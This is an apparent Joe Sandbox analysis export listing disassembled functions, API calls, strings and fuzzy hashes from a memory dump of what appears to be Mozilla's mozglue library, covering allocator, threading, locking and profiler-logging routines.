API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
Opcode Fuzzy Hash: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction Fuzzy Hash: 68312C743006108FD710DF29CC98E2AB7F5FF89319BA55958E55A8BB95D731EC41CB80

Function 6C4DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4DB532
moz_xmalloc.MOZGLUE(?), ref: 6C4DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4DB57E
free.MOZGLUE(00000000), ref: 6C4DB58F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction ID: 9369abe9ecd888a5930ec6c38a3ce61d1f7f6ee54443c3cb7dce2a429d8150c1
Opcode Fuzzy Hash: adfc314428b18446954bb1dd00085fa279bfb14aebb25f619c14077f513cbfe0
Instruction Fuzzy Hash: 8B21F671A002059BDB00DF69CC60FAABBB9FF86318F694129E818DB351E775E911C7A0

Function 6C510D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C4D3DEF), ref: 6C510D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C4D3DEF), ref: 6C510D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C4D3DEF), ref: 6C510DAF

Strings

<jemalloc>, xrefs: 6C510D92, 6C510DB9
: (malloc) Error in VirtualFree(), xrefs: 6C510D97, 6C510DBE

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction ID: 967d770c1b66a1f68ade8b4919b9e8c167296d65be118afdd568406cbdd4c79f
Opcode Fuzzy Hash: ba0803c4d3940ed8c7ee10569d3cc76f829c54f2aea849b7eb073d2e365f8b2d
Instruction Fuzzy Hash: ACF0E97139829423FA2025660C0EB9B26AD6BC2B24F754137F204DADC0DB60E83086A8

Function 6C535850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C53586C
CloseHandle.KERNEL32 ref: 6C535878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C535898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5358C9
free.MOZGLUE(00000000), ref: 6C5358D3

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction ID: 8e31c0e56f009f81385ea02978747a1b8922f89518279439536191aed31bea0e
Opcode Fuzzy Hash: 47dde26c12a91aed2ef44e6116d60716c11412156b225f495b952183842fe124
Instruction Fuzzy Hash: 2D0186B1704111ABDF01EF16DC08A06BBB8FB833297F64375E51AD2615E7319815CF89

Function 6C527620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5275C4,?), ref: 6C52762B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527644
GetCurrentThreadId.KERNEL32 ref: 6C52765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5274D7,6C5315FC,?,?,?), ref: 6C527677

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction ID: d86e0d70d37e2cffeec56bd98d9fa06aad92fc47da6b2c187e8f5ebed0ba0f8c
Opcode Fuzzy Hash: ba7c4c4dd7f02c25d064a0f40b1fa58540bd9dccf42e025a16f013fe1fc0b281
Instruction Fuzzy Hash: 45F0AF71E10745ABD7009F21CC88A76B778FFEA259F12431AF90452601E7B1A5D08BD1

Function 6C530630 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?,?,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C530533), ref: 6C5306CD
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C530533), ref: 6C5307C2

Strings

QzO/, xrefs: 6C530640

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: QzO/
API String ID: 1766480654-117776061
Opcode ID: 563759fab87eac6d7b5aaaef566274e2152450e4bd999fb148cd186cdc70565c
Instruction ID: 4162eb0e54bd641058d9115ed555fcec7b8736e59514b358461de87bf5e4b9eb
Opcode Fuzzy Hash: 563759fab87eac6d7b5aaaef566274e2152450e4bd999fb148cd186cdc70565c
Instruction Fuzzy Hash: 1B61B875B047118FD700DF28C88465ABBE6BFC8318F65491EE88997B40EB30EC09CB92

Function 6C52BF10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 6C52BFDE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C52C021
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C52C03F

Strings

QzO/, xrefs: 6C52BF1C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: fputc$fwrite
String ID: QzO/
API String ID: 4291123875-117776061
Opcode ID: daeee00c307344f6ba92d545d8f6a08de977124e95f13bf6b4b2e275b4a024dd
Instruction ID: f01bce4b8d719e5c3c86b1367700fd1a898cecb527be0504d5b71e27ce40eef2
Opcode Fuzzy Hash: daeee00c307344f6ba92d545d8f6a08de977124e95f13bf6b4b2e275b4a024dd
Instruction Fuzzy Hash: 97419D31600608DFCB24DF69CC849AEB7F5FF89314B514A2DE456CB6A0EB35B805CB50

Function 6C4DBD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B
QzO/, xrefs: 6C4DBD57

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$QzO/
API String ID: 2811501404-795703571
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C50AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C55E3A4,00000000), ref: 6C50AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C55E3B0,00000000), ref: 6C50AFCC

Strings

QzO/, xrefs: 6C50AFDA

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: QzO/
API String ID: 2450287516-117776061
Opcode ID: 5735e2ff71f5b326bf73a7e71ed08f0d26ff8db88c15e43c1d6f01000b79159a
Instruction ID: f36b679bda05d46c3514a2e3af55df9e01b9d251553e1704bd68322101b3ad57
Opcode Fuzzy Hash: 5735e2ff71f5b326bf73a7e71ed08f0d26ff8db88c15e43c1d6f01000b79159a
Instruction Fuzzy Hash: E811E376E00601AADF01EF698C413CE77F59F42328F528156DC20EBB80D6B5A9449BE0

Function 6C518CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C518D02
moz_xmalloc.MOZGLUE(00000080,?,6C51D9A8), ref: 6C518D38
InitializeConditionVariable.KERNEL32(00000000,?,?,?,6C51D9A8), ref: 6C518D59

Strings

QzO/, xrefs: 6C518CF8

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionCurrentInitializeThreadVariablemoz_xmalloc
String ID: QzO/
API String ID: 3275805834-117776061
Opcode ID: 656cc7036d92c4a648a9517b61a0dc1a8d1de8853f2d3de26f0fcb83a6a3d7e3
Instruction ID: c70ad2bbb1de8f5b9e4e67cea468d015f7d5e06d699453ccc017ee684bb96526
Opcode Fuzzy Hash: 656cc7036d92c4a648a9517b61a0dc1a8d1de8853f2d3de26f0fcb83a6a3d7e3
Instruction Fuzzy Hash: 0B219F70B00704CFDB10DF29D8486AAB7F1BF99304F56892ED88697B51EB70B844CB95

Function 6C539650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C539675
_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53968E
?fromString@Decimal@blink@@SA?AV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE(?), ref: 6C5396F6

Strings

QzO/, xrefs: 6C539663

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _dtest$?fromD@2@@std@@@D@std@@Decimal@blink@@String@U?$char_traits@V12@V?$allocator@V?$basic_string@
String ID: QzO/
API String ID: 1331236360-117776061
Opcode ID: 79b12d96c8e012f6e3dfc26b14ce2d6d9f01bb124cd7f5d6db96616ba86f2fd8
Instruction ID: e8d9f4ce2dc28666cf03debbb6152a8f541eec4f701612e097d70b5d05dcbb89
Opcode Fuzzy Hash: 79b12d96c8e012f6e3dfc26b14ce2d6d9f01bb124cd7f5d6db96616ba86f2fd8
Instruction Fuzzy Hash: 21118EB0A00A149BC711DF39DC0459BB7F4EF8A324B40C62DE8AE97650FB30A559CB86

Function 6C53B4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C4E0A40), ref: 6C53B52D
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C4E0A40), ref: 6C53B556
__Init_thread_footer.LIBCMT ref: 6C53B569

Strings

QzO/, xrefs: 6C53B4CB

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtual
String ID: QzO/
API String ID: 1391590832-117776061
Opcode ID: 20467249ff47a9d0b2cb005f4bd55dd6e5bff2314834926e2144d539358cd1a5
Instruction ID: 63f77570923b73a65d3fecaa72a79d3328f96bf53ebaf8e707203be97ab7fcdd
Opcode Fuzzy Hash: 20467249ff47a9d0b2cb005f4bd55dd6e5bff2314834926e2144d539358cd1a5
Instruction Fuzzy Hash: 4A119331B00615DFCB00EF99DCC496A77F1FB49314B550629E40997701E732B815CBA9

Function 6C513CF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58
QzO/, xrefs: 6C513CFE

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: QzO/$d
API String ID: 3471241338-1368046731
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4EBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C537A3F), ref: 6C4EBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C537A3F), ref: 6C4EBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C537A3F), ref: 6C4EBF7E

Strings

Tl, xrefs: 6C4EBF84

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Tl
API String ID: 4279176481-246313527
Opcode ID: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction ID: dde64a67787541b6923c929d3ac5b21472e36f4ab4a95310efdeb5705d07ca9a
Opcode Fuzzy Hash: 482f53e94643bc5a182b44df42df23f33c103ab247b1e5513759584b01d0fcd4
Instruction Fuzzy Hash: 3011BF792006048FC729CF0CD999A26FBF8FB59305355885DE98A8B751C772A800CB94

Function 6C53AE70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53AE85
EnterCriticalSection.KERNEL32(6C55F770,?,6C4FC034), ref: 6C53AE96
LeaveCriticalSection.KERNEL32(6C55F770,?,?,?,?,6C4FC034), ref: 6C53AEBD

Strings

QzO/, xrefs: 6C53AE7B

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: QzO/
API String ID: 2351996187-117776061
Opcode ID: f9ae4cfb873fa73d550299a9f3d796476e9a2745714f923ed431be784bcecbf9
Instruction ID: 952b91dbe6cc7bd6274f23024fb1f5efa055c0a0c834527313794a8c315f14dc
Opcode Fuzzy Hash: f9ae4cfb873fa73d550299a9f3d796476e9a2745714f923ed431be784bcecbf9
Instruction Fuzzy Hash: 8AF04FB5B002199FCF00AFA8DC8995BBBB9EB492157810529E505D7301D671A808CBA5

Function 6C51F410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F440
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_resume, xrefs: 6C51F239
QzO/, xrefs: 6C51F07C, 6C51F1BA, 6C51F32A, 6C51F41A
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: QzO/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 200552284-3738855318
Opcode ID: eb4fce50f47747a4862ef337948aa2fe6b91bc24da1d1d9c9be28d308bbab76a
Instruction ID: 6afab19e8114bc7a90e3cb9625e5a58aafbb69d3f23a0dd5ddc3152416cf673d
Opcode Fuzzy Hash: eb4fce50f47747a4862ef337948aa2fe6b91bc24da1d1d9c9be28d308bbab76a
Instruction Fuzzy Hash: A1F09031704214CBEF10EF6A9C083A977B4EB4A368FC2031AD91193B81D7711848C7AE

Function 6C51EF80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

